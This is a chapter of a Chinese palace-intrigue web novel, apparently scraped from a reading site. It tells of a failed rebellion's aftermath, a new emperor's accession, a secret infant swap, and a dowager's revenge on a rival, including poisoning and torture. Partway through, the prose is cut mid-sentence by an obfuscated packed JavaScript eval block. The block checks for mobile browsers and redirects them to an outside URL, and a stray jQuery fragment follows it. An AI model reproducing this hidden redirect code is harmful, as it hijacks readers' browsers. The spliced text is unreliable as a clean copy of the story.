70. 永安和永安
作品:《夜月清辉照鸿影》 禾熙十八年初夏深夜,禾熙皇帝在京郊皇庄避暑。昌国公伙同三皇子谋反,肃王领锦衣卫、禁军拼死抵抗。
皇帝则被锦衣卫镇抚谭嘉韫护送进后殿,皇庄中随陛下避暑的其他人等亦被送来后殿躲藏。然而两边兵力悬殊,还是让昌国公闯进后殿。
叛军在皇庄用水中撒入迷药,杀进来时,后殿众人皆昏迷。
原本前去江南道剿灭昌国公叛军的晋国公发现不对,日夜不停赶来皇庄。
北镇府司谭元寿担心叛军在殿中狗急跳墙危害众贵族,只身闯入引叛军出殿。
叛军一出,即刻被晋国公所率的平阳军就地斩杀。
昌国公次子高裕趁众人昏迷欲谋害皇帝,仍强行保留清醒的皇后叫醒了镇抚谭嘉韫,紧要关头谭嘉韫在高裕刀下救下皇帝。
昌国公见大势已去,胁持三皇子欲逃离,神弓手罗槲叶三箭齐发,三箭命中昌国公,三皇子毫发无损。
三皇子是皇家血脉,他涉及谋逆,被贬做庶人。虽留有一条命在,但终其一生,都被关押在北地苦寒之处。
四十余年后,有人想起这位庶人,那时的萧平玮看起来已经是个话都说不完整的老朽。
皇帝受惊,自此一病不起,肃王监国。
事发后,高太后羞于见人,在宫中自缢。尚昭仪心灰意冷,跳湖自杀。
禾熙十八年秋分,彦州案的几名重要罪臣处斩。
全大齐人都已经知晓那日昌国公谋反,谭家父女二人、晋国公和这位罗百户何等勇毅,救驾有功。
齐儒寅啐了黎文慎一口:“你看看你当日招惹了什么人回来。”
“这就是罗百户那个黑心的叔父婶娘,幸好罗百户的爹在天有灵,让她来了京城,如今更是有了大造化。”
黎文慎听见百姓的嘲弄声,低下头喃喃:“原来当日我就是兄长成仙的最后一劫,可笑我忙忙碌碌,全给他人做嫁衣。”
罗槲叶特地来给黎文慎和沈蘋仙二人送行,黎靖皓没熬住牢狱重刑,前月便咽气。
想到这,罗槲叶难免想起彩云,她听说昌国公已死,在牢里撞墙自尽。
罗槲叶收回思绪,看着眼前的黎文慎、沈蘋仙,嘲弄道:“蝇营狗苟之辈,也就这样的下场了。”
沈蘋仙看见罗槲叶和她身边的罗菀,伸出手在空中抓了抓,她眼中只能看见罗菀和罗槲叶身上的金玉配饰,只是她没有再开口,没人知晓她在想什么。
左护法临行刑还闹起来:“吴四娘呢,凭何她不用被杀头!”
罗槲叶好心提醒她:“今日斩杀的是重犯,你口中的吴四娘算不上是‘重犯’,还在大理寺关着呢。”
午时刚到,人头落地,罗槲叶才完完全全放下心来,压在她心头十多年的重担全然放下。
一旬后,禾熙皇帝驾崩,肃王守孝二十七日后,重臣三请登基。
萧平泽登基后,大赦天下,之前被关在大理寺的吴四娘跟着其他案犯被放逐出京,她回头看了眼繁华京中,有些茫然。
罗槲叶在城门处等候她。
“多谢罗大人放我一条活路。”
“是你自己没有跟着他们做那些杀人放火的事,不然早在秋分时你就跟着他们人头落地了。”
吴四娘摸着自己的脖子,心道:这一生她数次从生死里走过,历经三朝竟再一次活下来。
罗槲叶给了她一封信:“你去江南道彦州谷梁县,寻傅家布庄的傅夫人,她会为你安排活计,以后安生做个普通人。”
“普通人……”吴四娘接过信,哀哀道,“我这一生着实不算普通。”
“你快启程吧,宁王妃过些时候路过谷梁县,估计会去探望你。”
“宁王妃?”吴四娘错愕。
罗槲叶点头,同她挥了挥手,没有告知她更多,吴四娘怀揣满腹狐疑踏上往南的路。
新皇封肃王妃唐书玉皇后,唐书玉的父亲兵部郎中得封惠安伯。
皇后常盈做了太后,但她不喜宫中纷扰,住在外面庄子上。
仪康公主改封号郑国公主,陈国公主受三皇子牵连,被收回超规的公主府,另赐了一套小宅院。
镇守北边的魏国长公主改封号为镇国长公主,命其回京为长兄禾熙皇帝奔丧,离京二十年的镇国长公主和驸马终于能回京。
此时的宁王和宁王妃在长兴接到来信,带着傅永安踏上归京的慢慢长路。
前任指挥使谭元寿被夺职,收监诏狱。按规矩,一朝天子一朝臣,先帝已死,指挥使自然就成了“前”指挥使。
但谭元寿数月前救驾有功,在诏狱并没有吃什么苦头,况且——
新上任的指挥使是他的亲女儿,谭嘉韫。
年末,常晔递交了辞呈,被萧平泽按下。
“如今百废待兴,你此时来同我说要辞官,不是给我添麻烦么。”
“陛下,臣无心为官,在朝廷这几年,已经耗费臣全部心神。”
“朕知晓子荣无心权势,待今年结束一切平定,你再离去可好?”
皇后唐书玉已经显怀,她慢慢地挪步过来,萧平泽起身扶她:“你身子不方便怎么还到处跑。”
“我倒还好,没什么不舒服的。”
唐书玉转头问常晔,他一心想要离京走遍天下,那他和罗槲叶之间该怎么办呢。
萧平泽登基后,罗槲叶晋升为千户,日日在北镇府司忙得不见天日。
常晔沉默了一息。
“我和她所求不同,成婚已是我故意逼迫,不敢再妄求她和我一起抛下京中的一切……我不能再逼她一次,不能仗着我们之间的情意伤害她。”
镇国长公主和驸马常畋是在冬日赶到京城的,正巧宁王和宁王妃罗温玉也在此时赶到。
和宁王一起前来的,除了傅永安,还有傅家布庄的话事人傅袅袅,和她的丈夫彭柏。
新帝年号永安,但要从年后开始启用,年前还是禾熙十八年。
傅永安拍着手道:“真是巧了,我也是永安,以后每年的纪年也叫永安。”
常渠亲自在城门处接经年未见的同胞弟弟,没想到再一次遇见傅袅袅,这一次面上并未失态,还和善地向她招呼。
“我听闻宁王和王妃带着永安进京,没料到傅夫人也在。”
“上一次进京急匆匆赶回去,可永安一直想来京城,这次得了机会,便想着多留些时日。”
宁王妃罗温玉和兄长罗温岚失联这么多年,再见面时有说不完的话。罗温岚在一次刺杀中伤了眼睛,失明后一直隐姓埋名在长鹿书院做个普通夫子,寡言少语见不到昔年意气风发少年郎的影子。
罗温岚看见傅袅袅时,忙托常渠让身边的下人去长鹿书院给罗菀和常盈递话,往日好友回京,这次估计总算是能好好叙旧了。
京中没人知晓傅袅袅跟着上京,常盈收到消息时,正和罗菀一起在长鹿书院里考教女学的功课。
晋国公府久违地热闹起来,连搬出府去的罗槲叶和常晔也回府。
赵映柳如今心思全在常乐身上,新帝登基、风云变化,今时不同往日的道理她还是懂的。
傅袅袅有太后撑腰,不是她能够随便挤兑的人。
至于她的好儿媳,更是天子近臣……
宁王府早没了,这次回来也只是暂居,宁王萧峻禾早早婉拒了皇帝侄儿赐宅邸的想法,他和罗温玉在长兴隐居多年,这次探亲过后,还是要回长兴去。
罗温玉想要和兄长住在一处,问他这些年住哪。
“以前就一直住在书院里,前几月你嫂嫂搬去书院附近的庄子上,我就也搬过去了。”
罗温玉茫然了一顺,她兄长独身四十年,曾经只有一个如今是太后的未婚妻,她哪来的嫂嫂。
她正色看向罗温岚:“什么嫂嫂,莫不是常家姐姐吧。”
罗温岚点点头:“你还有个侄女,已经长得很高了,明日带她一起来见你。”
罗温玉更是沉默:“你说的是哪位,郑国公主吗,还是说有我没有听说的姑娘。”
……
罗温玉听闻的确是郑国公主之后,干巴巴地笑了一下,这都是什么事……
萧峻禾和罗温玉暂住在皇帝登基前的肃王府,他们几人先是去给故去多年的镇国长公主生母刘贵妃祭拜,萧峻禾生母早逝,一直是刘贵妃抚养长大,可刘贵妃过世时,他们姊妹二人都不在京城。
从皇陵走出,大约三里,是泰和伯尚硕的坟,罗温玉还记得临行前,同母妹妹落子研央求她,去了京城之后,还请给尚硕的坟前,送去一株兰花。
郑国公主是在第二日的宫宴见到罗温玉的,她还记得母亲跟她说,她的性子和姑姑很像,问及是否是镇国长公主时,又摇头不语。
她对这个未曾谋面的姑姑很是好奇,镇国长公主在北地从戎二十年,相貌和行事作风上有很明显的北地军营留下的痕迹,从面庞上来看,已经看不出年少时金尊玉贵的公主模样。她脸色冷硬,目光狠辣,隔着衣物也能看出来她四肢强健有力,不像京中贵族一样富态。
而那位失踪二十年的叔叔婶婶,似乎生活还不错,总是面带笑意,在她见到罗温玉时,她突然明白常盈那句话指的含义。
老皇帝死后,萧平琅才知晓自己不是皇帝亲生,她看着几乎和自己完全一样的罗温玉,在心里想,原来这才是自己的亲姑姑。
一直偏爱自己的兄长萧平泽,哪怕是尚贵妃当道的那些年,他也在护着总是口无遮拦的自己,他是否知道她才不是公主呢?
原来母亲胆子竟然这样大,萧平琅想起之前的传言。尚贵妃此人愚钝,每次说谎全是破绽,也只会在鸡毛蒜皮上的小事上胡乱攀扯,她竟然胆敢说萧平泽不是皇室血脉。
萧平琅看着兄长那和舅父常渠生得极为相似的面庞,又看了看那位再次来京的傅袅袅,和她的女儿傅永安。
怎么越看越相似呢……尤其是那个傅永安,若是她和萧平泽在一处,比自己和兄长都要更像兄妹。
萧平琅一个激灵,将这个想法抛诸脑后,怎么会生出这样的想法来!
皇家家宴,常太后、皇帝、唐皇后、郑国公主高坐上首,下方的宾客除了和他血脉相邻的镇国长公主、宁王、晋国公及家眷一众人等,还有傅夫人一家。
萧平琅怀疑兄长身份的念头一冒出来,就好似春草疯狂生长,再也按捺不住。
若是毫无关系,爹爹——哦不,已经是养父,养父在世时傅夫人从不踏足,爹爹一过世,傅夫人一家立马上京来。
傅袅袅拜见皇帝时,不过是膝盖稍微弯下去,太后常盈就立马说傅夫人身体有恙,免除跪拜,给她赐座。
萧平琅坐在上头看见傅袅袅被领去座位上,而傅永安和彭柏是结结实实跪下给皇帝见礼,她心道,果然如此。
傅袅袅埋在心里最大的秘密,就是丈夫常渠将傅青云和“萧平泽”掉包,直到傅青云登基后,她才敢坐在最末尾抬头,偷偷看那个已经不记得她的孩子。
她的目光里含有太多情绪,皇帝萧平泽顿了一下,还是装作一无所知。
常盈招了招手,让傅永安走上前。
“你叫傅永安?倒是巧了,过了年,我们大齐的新年号也是永安。”
“不巧。”萧平泽在心里说。
罗槲叶从彦州回来,他就听她说起,谷梁县傅家布庄傅夫人的独女,叫傅永安。
永安永安,真是个好名字。
拟定年号的时候,他脑子里突然想起“永安”,不知怎么的,提笔就写下两个字——
“永安”
“我看这孩子合我眼缘,袅袅不如让给我,做我家女儿。”常盈笑着道。
常盈打开柴门,猝不及防地被灰尘呛到,里头暗无天日,只有一个灰头土脸的女人躺在地上。
常盈走上前,不担心灰尘脏污了她昂贵柔软的裙摆。
她掐着女人的下巴,强逼对方和自己对视。
那个女人被迫抬起脸,正是已经跳湖自杀的尚元惜。
尚元惜声音嘶哑:“你们不是推我下水要我死么?怎么又把我捞起来。”
“死?这样死未免太轻易,我要你好好感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795024|182821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受我这二十年的痛楚。”
常盈尖锐的指甲轻轻地刮着尚元惜柔嫩的面庞,年近四十还始终保养得益,可惜近来受尽磨难,已经不像以往做贵妃一样盈盈如玉。
尚元惜不禁战栗。当年父母战死,她和弟弟被常家收养,那时候还叫常元惜和常硕,她也是这样仰望常盈。
所以她终其一生,最大的愿望就是死死地将常盈踩在脚底。这样仰视常盈,是她最大的噩梦。
“你知道皇帝是怎么死的吗?”常盈放手,她站起身,在门边的桌上磨刀。
“他被我下了毒,又遇见谋反,惊惧交加,毒药加速入体,最后是经脉尽断,七窍流血而死。”
常盈看向尚元惜:“说起来我们俩不愧是好姐妹,你下蛊,我下毒。皇帝那么喜欢你,一听说你在宫里玩弄蛊毒,你也要被弃之如蔽履。他转头亲近我,没想到我会在他的茶水里下毒吧。哈哈哈……”
尚元惜咬牙不说话,常盈并不恼,继续道:“你可知萧平玮去了哪?他贬为庶人,在苦寒之地种地,听起来,这日子不好过。你说是三皇子日子难熬,还是我的日子难熬?”
“其实你之前猜得没错,现在登基的那位新帝,的确不是我的萧平泽,他就是我兄长和袅袅生下的那个孩儿。至于平泽,你见过的,他在大理寺做少卿,有喜欢的姑娘,那个姑娘很能干,去年已经完婚。”
尚元惜睁大眼睛,喊出声:“你!你怎敢!”
常盈拿着小匕首上前:“我有什么不敢的,我还敢……”
常盈轻轻拉着尚元惜的手,挑断了她的手筋,鲜血如柱,脏了常盈的裙摆。
尚元惜尖叫着,泪水大颗大颗滚落。
“叫吧,哭吧,这里没有人能听见这些动静,我的好妹妹。”
“还有你那个蛮横无礼的女儿,和你一样蠢,抱着个脏东西不放手。楚家驸马知晓朝中局势变化后,立马转变了脸色,不再哄着你那个女儿,还总是殴打她、辱骂她,当着她的面纳妾狎妓。”
尚元惜手筋脚筋皆被挑断,她爬不起来,软软地倒在地上,只剩胸口一点微弱的起伏。
陈国公主代表皇室颜面,她如今失势,将她的脸面放在脚底踩这种事,郑国公主做得,驸马楚润之做不得。
常盈这样说是为了虐待尚元惜,那日陈国公主被驸马扇了两巴掌后,郑国公主听闻消息,请刚回京的镇国长公主出面,逼迫陈国和驸马合离。
萧平琅看着现在迅速凋零的姐姐陈国,冷嘲热讽道:“二姐之前仗势欺人的时候,可还想过有今天?”
陈国公主哭着来抓萧平琅的衣角:“三妹,之前都是我做错了,求你放过我。”
“二姐这说的什么话,为何要我放过你,请问二姐我是做了什么十恶不赦的事么?倒是二姐,曾经欺辱我,现在和驸马的事闹得满城风雨,好像皇家亏待你了一样,还要我来处理这烂摊子,二姐何时能放过我?”
陈国公主松开手,眼泪在脸上串成珠子。
萧平琅下了最后判决:“他楚家不敬皇家,你和他先合离,再做处罚,这是皇兄的意思。”
陈国公主慌了神:“我要和润郎谈谈,不要伤害润郎。”
镇国长公主这会才开口:“陈国,堂堂一国公主,被人欺压反而维护,这像什么话。”
不容陈国公主反对,合离之后,楚润之被判处流刑去了北地。
陈国公主放不下楚润之,跟着镇国长公主一并往北地去了。只是她不适应北地生活,没多久镇国遣人送她回京,再不提去北地。
刚过了元宵,常晔便彻底辞官,他挥别所有人准备启程。
罗槲叶问他要去哪,他回道:“我亦不知,或许是走到哪里算哪里。”
“那你不如等我些时候。”
常晔不解,而后没几日皇帝便下令成立监察组去整个大齐走一遭,由罗槲叶领头,加上调任为都察院经历的蔡严,和刚提了百户的林谦。
常晔便跟着这三人再次出发,一如一年半以前一样。
傅夫人在京中一直待到三月才回谷梁县,去年匆匆离京时说傅家布庄要做生意,今年却从来不见她提起此事。
要不是傅永安要回长兴继续在落子研身边学习,傅夫人就差定居京城了。
傅永安被太后收为义女,封为平阳郡主,和先帝的四皇女萧平瑾、晋国公世子常乐三人年纪相仿,三人玩得不亦乐乎。
分别时依依惜别,还互相约定要通讯。尤其是常乐要跟着常渠去平阳,傅永安支支吾吾不说自己在哪里拜师,只说离平阳不远。
常乐撇撇嘴:“就你秘密多。”
然后拿出自己的玉佩:“你若是来了平阳,一定要拿着这个来找我。”
休养了近一年的常渠再次出发去平阳,这次他带上了世子常乐,赵映柳很是不乐意,但为了常乐的前程,还是不舍地放手。
常渠提议道:“你若是实在舍不得,那和我们一起去平阳也成,平阳城中……”
“那不成。”赵映柳立刻挥别丈夫儿子,平阳哪能比得过京中繁华。
镇国长公主也早早回北地,在外戍边这么多年,早就不习惯京中的生活,母亲已逝世,战场才是她的家。
宁王和宁王妃带着傅永安再回长兴,傅袅袅和彭柏则在中途路过谷梁县时回家去了。
好像只是镜花水月,这些亲人友人再次离开,宫中的热闹仿佛一场梦,倒衬得现在这样的寂静更加寒冷。
常盈为园子里的花剪下多余的枝叶,跟罗温岚道:“见不了面时很是想念,好不容易见了,大家又走了,反倒让我空落落的,好生难过。总觉得这恐怕就是此生最后一次相见了,今年的春天,真是格外的冷。”
罗温岚长叹一口气:“人活一世总是不停地相遇离别,身边人来来往往,能重逢真是不易。”
大齐律法虽从未禁止女子科举,但在常盈中状元二十多年之后的永安二年,大齐才重新出现女秀才。
此人是来自彦州的沈霜,她一路考上京城,得了进士功名,被皇帝派去监察组罗槲叶手下。

